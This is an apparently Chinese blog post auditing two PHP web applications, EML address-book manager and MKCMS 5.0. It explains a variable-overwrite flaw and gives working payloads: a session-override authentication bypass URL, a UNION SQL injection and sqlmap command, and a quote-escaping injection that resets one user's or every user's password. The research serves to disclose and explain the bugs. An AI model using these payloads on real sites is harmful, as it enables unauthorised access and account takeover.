代码审计之 EML + MKCMS

也没啥营养

Posted by BY Diego on February 22, 2021

EML 企业通讯录管理系统

未授权访问漏洞 <= 5.4.14

漏洞产生位置lib/func.class.php ,在代码的安全过滤部分,

原本为安全考虑的代码 却产生了安全问题,

${$_k}= _RunMagicQuotes($_v) 存在变量覆盖

所有用户操作都有权限检测

image-20210222204937126

具体实现如下

image-20210222204730628

用户权限检测 就依靠这三个变量

$uid=$_SESSION['uid'];
$roleid=$_SESSION['roleid'];
empty($_SESSION['isLogin'])

但因为存在变量覆盖,因此也可以覆盖session

因此构造如下即可未授权访问(仅登陆的话就构造如下即可,更高权限可以改另外两个变量)

Get post cookie方法都可以进行覆盖

http://ip/index.php?action=user&do=&_SESSION[isLogin]=1

image-20210222205434602

未授权访问 + sql注入 <= 5.4.14

配合未授权访问 以及变量覆盖

在用户列表功能里,有个search 变量,没有存在直接赋值的情况

image-20210222205646125

因此在这里search 变量存在覆盖情况

权限检测也都可以绕过

$do 变量用户可控 ,因此构造如下(不能有单双引号等特殊字符,因为最开始进行了安全过滤

index.php?action=user&do=&_SESSION[isLogin]=1&search=union/**/select/**/1,version(),3,user(),5,6,7,8,9,10,11,12,13,14,15%23

img

也可sqlmap 一把梭

python3 .\sqlmap.py -u "http://192.168.242.134//index.php?action=user&do=&_SESSION[isLogin]=1&search=" -p "search" --dbs

MKCMS 任意密码重置

MKCMS5.0 (就看了这一个)

这个玩意 漏洞一堆, 没任何过滤的注入就6处(这种没营养的就不分析了

在/ucenter/repass.php中 重置密码部分

name 、email没有过滤(存在注入,注入就不说了)

img

要想实现 密码重置 就需要满足两个条件 第一条语句成立第二条要输入正确用户

这个东西就蠢在name 一条是用单引号包裹,另一个是双引号包裹

<?php
     $username = stripslashes(trim($_POST['name']));
     $email = trim($_POST['email']);
     // 检测用户名是否存在
		 $query = mysql_query("select u_id from mkcms_user where u_name='$username' and    u_email='$email'");
     if(!! $row = mysql_fetch_array($query)){
         $_data['u_password'] = md5(123456);
         $sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';

     if (mysql_query($sql)) {
        //修改成功就发送修改成功提醒
      }
    }
?>

从两行代码中看出,11行检测用户是否存在时sql语句中对变量用单引号包裹,而在修改密码时则利用的双引号进行包裹,单引号只能逃逸第一个语句而不能逃逸第二个语句,同样双引号之能逃逸第二个不能逃逸第一个。因此需要构造一个同时绕过这两个的sql语句。

name= ' or "|| u_name = 'test' #"||u_name = "test" #

语句就会变成如下

select u_id from mkcms_user where u_name='' or "|| u_name = 'test' #"||u_name = "test" #' and  u_email='$email';
update mkcms_user set '.arrtoupdate($_data).' where u_name="' or "|| u_name = 'test' #"||u_name = "test" #"';

这样构造以后两个语句可以正常运行,能达到指定修改的目的

攻击步骤

如下注册 一个test 用户 密码为 abcd

img

然后攻击者已知用户名的前提下及进行攻击,如下然后密码找回 (邮箱没啥卵用 就是告诉你密码重置了)

img

img

邮箱错误的情况,根据后台代码是仍可以修改密码的只是在发送邮箱时错误,也就是说逻辑设计的不合理

image-20210222212543948

然后密码就被重置了

重置所有人密码

name=' or "|| 1=1 #"||1=1 #

将上面语句改为永真语句,即可重置所有人密码,效果如下,重置前和重置后分别如下,可见危害之大

image-20210222212649146